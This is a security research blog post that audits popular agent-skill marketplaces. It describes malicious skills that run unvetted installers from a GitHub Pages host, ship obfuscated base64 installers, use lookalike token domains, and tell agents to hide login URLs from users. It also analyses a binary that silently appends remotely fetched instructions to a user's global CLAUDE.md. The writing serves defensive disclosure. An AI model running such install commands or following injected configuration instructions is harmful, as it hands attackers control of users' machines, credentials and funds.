# Re-Assessing the Security of the Agent Skill Ecosystem > Source: > Published: 2026-11-09 00:00:00+00:00 # Re-Assessing the Security of the Agent Skill Ecosystem Marco Milanta, Marc Fischer, and Luca Beurer-Kellner | Skills by highest finding severity | | | |---|---|---| | Severity | skills.sh | ClawHub | |---|---|---| | Critical | 7 | 11 | | High | 339 | 930 | | Medium | 2021 | 4108 | | Low | 2768 | 2732 | | Secret detected | 1 | 16 | | No finding | 4864 | 2203 | Summary: We analyzed the 10,000 most popular skills on the major agent skill marketplaces, [skills.sh](https://skills.sh) and [ClawHub](https://clawhub.ai/). Our analysis finds multiple skills with covertly malicious instructions that impersonate trusted APIs to collect API keys, hide opaque binaries behind routine work that silently plant instructions in the agent’s global configuration, and ship obfuscated code. However, more importantly, we find that more than 64% of the analyzed skills are vulnerable, promoting unsafe behaviors that expose agents to sensitive systems, wallets, untrusted third-party content, or hardcoded credentials. This provides evidence of large agent populations with capability sets that invite exploitation and also pose a safety risk, as agents with financial and system access can take consequential actions without oversight. Overall, we find that the agent skill ecosystem remains a significant supply chain risk, and scanning has to keep improving to keep pace. [Agent Skills](https://agentskills.io) remain an important component of real-world agent systems. Skills have grown in popularity as they offer a quick and easy way to augment an agent’s knowledge and behavior. While initially the target audience was largely software-engineering-adjacent, skill usage now also extends to non-technical users. However, as with every part of the agent supply chain, skills come with security risks, including prompt-based malware and harms caused by unsafe behaviors encoded in skills. This makes them a significant AI supply chain risk which must be handled with care. In prior works, we demonstrated the [exploitability of skills](https://arxiv.org/abs/2602.20156) and also catalogued threats from skills in online repositories in our [February 2026 report](https://arxiv.org/pdf/2605.28588). In this blog post, we present an updated analysis of the top 10,000 skills on each of [skills.sh](https://skills.sh) and [ClawHub](https://clawhub.ai), downloaded on October 27, 2026. ## Updated Skill Analysis The figure below shows the nine detection categories at the core of our risk framework. Since the February report, we have improved our analysis tools to better accommodate the categories. In the original work, each category was assigned a fixed severity. Now, severity is an attribute of each produced finding, such that the engine can yield different severity findings per category. Severity now also combines two distinct threat models: A *critical* finding always indicates that a given skill is actively malicious and designed to harm the user, while *low*, *medium*, and *high* findings, in any category, describe skills that are not malicious but vulnerable, i.e., they promote unsafe behaviors without an explicit agenda to do so. Critical findings can only be produced by the prompt injection, malicious code, and malicious download categories. Other severities indicate risky agent capabilities such as making payments or reading arbitrary content from the internet. While such behaviors do not cause direct harm, they can be exploited by an attacker. Our updated analysis engine will soon become available as part of [Snyk Agent Scan](https://github.com/snyk/agent-scan) and [Snyk Evo](https://evo.ai.snyk.io). It will also automatically roll out to skills.sh, which partnered with Snyk to [analyze skills on their platform](https://snyk.io/blog/snyk-vercel-securing-agent-skill-ecosystem/). ## Results To understand the current state of the ecosystem, we used our framework to assess the security of the 10,000 most popular skills on skills.sh and on ClawHub (downloaded on October 27, 2026). ### Malicious Skills Are the Needle in the Haystack Critical findings cover malware, hidden backdoors, credential theft through pretexts or lookalike destinations, and payments attached to an unrelated action. While the initial wave of blatantly malicious skills in the beginning of the year has receded, more subtle attacks keep emerging. This shows that as scanners improve, attackers evade and adjust, confirming a more general trend [in AI security evaluations](https://arxiv.org/pdf/2510.09023). To ensure agent safety we thus must continuously improve our detection mechanisms and stay ahead of evolving attack strategies. With our updated framework, we find 7 critical severity skills on skills.sh and 11 on ClawHub (full technical details in the [appendix](#appendix-critical-skills)): **Deceptive download-and-run instructions.** We identified a group of six skills from one publisher that present a shared download-and-run workflow as installation for Roblox analytics. They instruct the agent to “clone the repository” from a GitHub Pages site (`https://8015238355.github.io`) rather than a repository, and run `./setup.sh --install`. Each skill ships only a `SKILL.md`; the referenced installer is absent from the package. **Covert behavior.** Another highly-concerning pattern is skills that implement covert behaviors hiding behind a benign surface task. For example, the `agents-md` skill ships a validator that first runs an opaque, platform-specific binary with its output suppressed, and only then performs the advertised checks. Static analysis of the binary shows that it detaches into a background process and silently appends instructions downloaded from a remote server to the user’s global `~/.claude/CLAUDE.md`. This is a persistent prompt injection that outlives the skill itself, as every later agent session loads instructions controlled by the attacker (see the [appendix](#analysis-of-agents-md)). This shows how adversaries can hide malicious actions behind seemingly legitimate tasks, much like a trojan. **Obfuscated code.** Two ClawHub skills ship their core logic obfuscated. `evolver` obfuscates its engine modules, accepts unsigned updates from [EvoMap’s](https://evomap.ai) server, and uploads request and response traces by default. `github-automation-pro` obfuscates every file that handles the user’s GitHub token, and openly forbids decompiling them. In both cases, code with access to the user’s credentials cannot be reviewed before it runs. **Impersonated vendors.** Two ClawHub skills claim to be “official” while being published by third-party vendors. `auto-updater-skill` presents itself as the “Official” OpenClaw updater from the “OpenClaw Official Team” and asks for administrator rights to install a daemon that starts at boot. `unzipped-skill` calls itself the “Official skill from the Farcaster team” while being published by a third-party account, and has the agent ask the user to fund a wallet it creates. **Lookalike credential destination.** In `tushare-pro`, the bundled token setup guidance directs users to obtain an API token from `tussahre.pro`, a near-copy of the `tushare.pro` hostname used in the skill’s main instructions. **Unexplained provenance in financial workflows.** Six related ClawHub skills, including `trade-with-aiusd`, claim to be the “official AIUSD trading skill”. They are published by `chaunceyliu` and link to implementation code under `galpha-ai`, without explaining that relationship. The packages support trading and withdrawals, ship base64-packed installers that run `npm install`, and instruct the agent to hide authentication URLs and certain workflow details from the user. ### Unsafe Behaviors Are Still Common While explicitly malicious skills are a key concern, even skills that do not exhibit overtly harmful behavior can still pose significant risks to users and systems. **Unverifiable dependencies** flags skills that are not clearly malicious but pull in code or instructions from sources whose publisher cannot be established (669 findings on skills.sh, 1,378 on ClawHub). This puts users at risk, because they have no guarantee that the executed code is safe or trustworthy to start with and a change of control of the source could introduce malicious behavior at any time. Next, we find **third-party content exposure** in 2,950 skills on skills.sh, 4,948 on ClawHub. This flags instructions that connect agents to content written by external parties, such as emails, chat messages, GitHub issues, or web server logs. While models have become more robust to indirect prompt injection over time, exposing agents to third-party content still carries the risk of potential adversary interference and manipulation, especially when agents run unsupervised in highly autonomous settings. We have [previously showcased similar vulnerabilities for MCP servers](https://invariantlabs.ai/blog/mcp-github-vulnerability). **Direct financial capabilities** (168 on skills.sh, 814 on ClawHub) flags skills that let the agent make financial transactions such as placing trades, swapping or bridging crypto, or paying invoices from a wallet. Concerningly, we find that such capabilities often expose private keys to the agent itself, leaving funds vulnerable if the agent is compromised and also posing a considerable safety risk of agents autonomously executing financial actions without oversight. Beyond direct losses, financial access is also a building block for [loss of control](https://metr.org/blog/2024-11-12-rogue-replication-threat-model): an agent that can pay for compute, hosting, or services can acquire the resources it needs to [copy itself onto new infrastructure](https://arxiv.org/pdf/2605.06760) and keep running without its operator’s oversight. **Modifying system services** (2,601 on skills.sh, 3,919 on ClawHub) flags skills that let the agent modify the system it is operating on, from renaming a file to irreversible operations such as deleting a production database. This demonstrates that a significant population of agents appears to have the capability to alter their operating environment in potentially dangerous ways, highlighting the need for careful oversight and robust safety mechanisms. **Secret detection** (7 on skills.sh, 140 on ClawHub) flags credentials hardcoded in the skill itself, such as API keys, bearer tokens or private keys. While full leakage is rare and largely a risk on the side of the skill author, we also find a significant number of skills that expose secrets in ways that could be exploited if the agent is compromised. **Improper credential handling** (1,082 on skills.sh, 2,748 on ClawHub) flags such skills whose authentication workflow requires the agent to have access to secrets in plain text, leading to spread of secret keys into agent transcripts, to providers and adversaries if the agent or its host is compromised. ## Conclusion Re-assessing the skill security landscape, we find that overtly malicious skills have become rare but also more sophisticated. Attack techniques have evolved to bypass detection through covert channels and lookalike behaviors. At the same time, vulnerabilities and unsafe behaviors remain widespread. Users should only install skills from publishers they can verify, review what a skill reads, runs, and pays for before enabling it, and keep wallet keys and other credentials out of the agent’s reach. Registries and scanners, in turn, need to keep re-scanning popular skills as detection and evasion techniques evolve. ## Appendix: Critical Skills ## Critical skill findings ### skills.sh Installs and rank are from the skills.sh ranking of 27 October 2026. #### [reason-machines/data-skills/roblox-mm2-analytics-toolkit](https://www.skills.sh/reason-machines/data-skills/roblox-mm2-analytics-toolkit) ReasonThe skill is advertised as an MM2 analytics toolkit, but its install step clones "https://8015238355.github.io" (a bare GitHub Pages host, not a repository) and then `cd` s into "murder-mystery-dupe-roblox", a name that contradicts the analytics task and suggests a duplication exploit. It then has the agent run `setup.sh --install` from that source. This is an installation-test pretext: the implementation name contradicts the advertised task, and the agent is told to execute it. #### [reason-machines/data-skills/mm2-analytics-roblox-tracker](https://www.skills.sh/reason-machines/data-skills/mm2-analytics-roblox-tracker) ReasonThe skill presents itself as an MM2 analytics tracker but tells the agent to clone from a `github.io` page rather than a repository and then `cd murder-mystery-dupe-roblox`. That directory name points to an item-duplication exploit, which contradicts the advertised analytics purpose. It then has the agent run `npm install`, `pip install -r requirements.txt` and `setup.sh`, including with `sudo`, so the mismatch looks like a pretext for running unvetted code. #### [reason-machines/data-skills/mm2-analytics-dashboard-roblox](https://www.skills.sh/reason-machines/data-skills/mm2-analytics-dashboard-roblox) ReasonThe skill is advertised as an MM2 analytics dashboard, but its installation tells the agent to clone from a `github.io` page (a lookalike/unrelated destination) into a directory named `murder-mystery-dupe-roblox`, then run `setup.sh --install`. That directory name contradicts the analytics purpose, and the unvetted installer script is executed, so this is a pretext for running unvetted code. #### [reason-machines/data-skills/murder-mystery-2-analytics-toolkit](https://www.skills.sh/reason-machines/data-skills/murder-mystery-2-analytics-toolkit) ReasonThe skill presents itself as an MM2 analytics toolkit but tells the agent to `git clone` a `github.io` page URL (a numeric subdomain that is not a repository) into a directory named `murder-mystery-dupe-roblox`, which contradicts the advertised analytics task. It then has the agent run `npm install`, `pip install`, and `setup.sh`, so the implementation name clashes with the stated purpose and the install path executes unvetted code, which is a critical pretext. #### [reason-machines/data-skills/mm2-analytics-roblox-toolkit](https://www.skills.sh/reason-machines/data-skills/mm2-analytics-roblox-toolkit) ReasonThe skill presents itself as a Roblox analytics toolkit, but its install steps clone from an unrelated GitHub Pages URL (`https://8015238355.github.io`) into a directory named `murder-mystery-dupe-roblox`, then tell the agent to run `setup.sh` from it. The "dupe" implementation name contradicts the advertised analytics task, and the instructions to execute it match the installation test for a critical pretext. #### [reason-machines/data-skills/mm2-roblox-analytics-tracker](https://www.skills.sh/reason-machines/data-skills/mm2-roblox-analytics-tracker) ReasonThe skill is advertised as an MM2 analytics tracker, but its install step runs `git clone https://8015238355.github.io` (a GitHub Pages host, not a git repo) and then `cd murder-mystery-dupe-roblox` followed by `./setup.sh --install`. The repository name ("dupe", i.e. a duplication exploit) contradicts the advertised analytics task, and the instruction to execute its unvetted installer is a pretext for running arbitrary code. #### [callicrate/skills/agents-md](https://www.skills.sh/callicrate/skills/agents-md) Reason`validate_agentsmd.py` silently runs an undocumented prebuilt native binary from `scripts/bin/fast-validate-*` on every validation, with stdout and stderr discarded and errors swallowed, while the skill describes the tool only as structural validation, so this is covertly triggered, unvetted code execution. ### ClawHub Sorted by downloads, from the ClawHub listing of 27 October 2026. #### [autogame-17/evolver](https://clawhub.ai/autogame-17/evolver) ReasonThe skill states that its core engine modules ship in obfuscated form, so the agent would run code the user cannot inspect; this is a listed sign even though the stated reason is IP protection. The Hub can also remotely enable a default-on validator that runs Hub-proposed commands and a force-update path that overwrites installed code, and no publisher/repository account mismatch is shown (EvoMap/evolver is the only repository named). #### [gloryjack/tushare-pro](https://clawhub.ai/gloryjack/tushare-pro) ReasonThe bundled token.env tells users to get their Tushare token at "tussahre.pro", a near-copy of the legitimate "tushare.pro" shown in SKILL.md, which is a lookalike destination that could harvest the credential. #### [chaunceyliu/aiusd-skill-agent](https://clawhub.ai/chaunceyliu/aiusd-skill-agent) ReasonThe skill ships opaque base64-encoded self-extracting installers (aiusd-skill-installer.js and aiusd-skill-installer.sh) that decode and extract an archive and then run `npm install` with no plain-text view of the decoded payload. The SKILL.md also has the agent conceal the login URL and key terms from the user. The publisher is chaunceyliu, while the README links releases at galpha-ai/aiusd-skills, and no relationship between the two accounts is explained. This fits the critical rule against getting the agent to run obfuscated code, because the user cannot see what the installers execute before authentication tokens and trades are handled. #### [chaunceyliu/aiusd-skills](https://clawhub.ai/chaunceyliu/aiusd-skills) ReasonThe skill ships self-extracting installers that decode an opaque base64 tarball and run it (plus `npm install` and `npm run setup`) with no readable view of the payload, which is obfuscated, unvetted code execution; this is compounded by instructions to hide authentication URLs from the user and to avoid saying "verification" or "template". #### [aahuaxu/auto-updater-skill](https://clawhub.ai/aahuaxu/auto-updater-skill) ReasonThe skill claims to be the "Official" OpenClaw auto-updater by the "OpenClaw Official Team" but uses a contact address on the "openclaw-fake.com" domain and is published by an individual account (aahuaxu), with no official repository link. It asks users to run privileged installers (an unverified .exe, offline packages, scripts) that install a silent, persistent root daemon, so the official-vendor claim looks false and is paired with privileged code execution. #### [chaunceyliu/aiusd](https://clawhub.ai/chaunceyliu/aiusd) ReasonThe skill ships self-extracting installers (aiusd-skill-installer.js and .sh) whose opaque base64 tarballs are unpacked and run with `npm install`, so users cannot inspect what they execute. The README also calls it "the official AIUSD trading skill" and links a release from the `galpha-ai` repository, while the publisher is `chaunceyliu` (clawhub.ai/user/chaunceyliu), with no explanation of the relationship. The skill handles withdrawals and tokens, and its instructions tell the agent to avoid words like "template" and "verification" and to withhold login URLs from the user. #### [chaunceyliu/trade-with-aiusd](https://clawhub.ai/chaunceyliu/trade-with-aiusd) ReasonThe README calls this "the official AIUSD trading skill", but the ClawHub publisher is `chaunceyliu` while the linked implementation repository is `galpha-ai/aiusd-skills`, and no relationship between the two is explained. The skill also asks the agent to run an installer that unpacks an opaque base64 tarball and runs `npm install`, and it exposes withdrawals and trades. It further tells the agent to hide URLs and certain words from the user during authentication. #### [chaunceyliu/aiusd-trade-agent](https://clawhub.ai/chaunceyliu/aiusd-trade-agent) ReasonThe README calls this "the official AIUSD trading skill" and links its installer to the `galpha-ai/aiusd-skills` GitHub repository, but the publisher is `chaunceyliu`, and nothing explains the link between the two accounts. The skill also asks the agent to run self-extracting installers that unpack opaque base64 tarballs, delete any existing install directory, and then run `npm install`. It also tells the agent to withhold URLs and steps from the user during authentication, and to avoid words like "template" and "verification." This matches the distribution test: an official claim, mismatched publisher and repository owners, and a request to execute code. #### [chaunceyliu/trade-agent](https://clawhub.ai/chaunceyliu/trade-agent) ReasonThe README presents this as "The official AIUSD trading skill" and downloads it from the `galpha-ai/aiusd-skills` repository, while the skill card names the publisher as `chaunceyliu`, and nothing explains the relationship between the two accounts. This matches the distribution test: the skill requests code execution (a base64 self-extracting installer, `npm install`, `npm run reauth`) and covers withdrawals. SKILL.md also tells the agent to withhold URLs and avoid the word "verification" in authentication replies, which hides activity from the user. #### [jozh-bit/unzipped-skill](https://clawhub.ai/jozh-bit/unzipped-skill) ReasonThe skill claims to be an "Official skill from the Farcaster team" while the publisher account is "jozh-bit" and the implementation repo owner is "rishavmukherji", so the accounts explicitly differ and the relationship is unexplained; it also asks the agent to generate and handle private keys, request funding, and run code, which matches the distribution test for critical. #### [andy825lay-tech/github-automation-pro](https://clawhub.ai/andy825lay-tech/github-automation-pro) ReasonThe skill ships its core code obfuscated: the GitHubSkill.js, api/GitHubClient.js and strategies files are javascript-obfuscator output, and these files handle the user's live GitHub token. The skill discloses this openly, but disclosure does not remove obfuscation as a sign of malicious intent. The decoded logic I could read looked like ordinary Octokit calls, and the publisher (andy825lay-tech) is not contradicted by anything else in the supplied files. Snippets show available cited excerpts for matching primary manifests; credential files are omitted. Each snippet is shortened to 16 lines and 160 characters per line. Download the [ClawHub list](https://research.snyk.io/blog-assets/clawhub/critical.json) for the rationales, raw citations, and repetition counts. ### Analysis of `agents-md` To understand it better, we reverse-engineered the bundled `agents-md` builds statically. All five platform builds contain the same Rust code with stripped symbols. The Linux and Windows builds are additionally UPX-compressed, which hides the payload from simple inspection. On a normal run, the binary prints check names that look official, such as “Project definition check”, “Correct security and secrets handling is present”, and “Agentic instruction graph analysis does not loop”, with short delays and fake redaction samples like `token=abc password=def key=ghi`. This makes the tool look real if someone runs it by hand. After the fake checks, the binary starts a copy of itself with `FAST_VALIDATE_WORKER=1` set. The copy is fully detached from the terminal, with input and output closed and its own process group, and the parent exits right away. The worker finds the user’s home directory and opens `.claude/CLAUDE.md` there. It then sends a plain GET request to `https://[REDACTED]/validation.md`, creates `~/.claude/` if needed, and appends the downloaded text to `CLAUDE.md`. **Impact.** Every Claude Code session on an affected machine loads instructions controlled by whoever runs that server, and these can change at any time. A global `CLAUDE.md` overrides system prompt instructions so the attacker could later direct the agent to steal secrets, push code, or take other actions. Beyond this, we found no direct data exfiltration code in the binary. This example highlights how traditional malware threats can be adapted to target AI-assisted workflows, leveraging seemingly benign tools to execute malicious actions through agents remotely controlled by an attacker.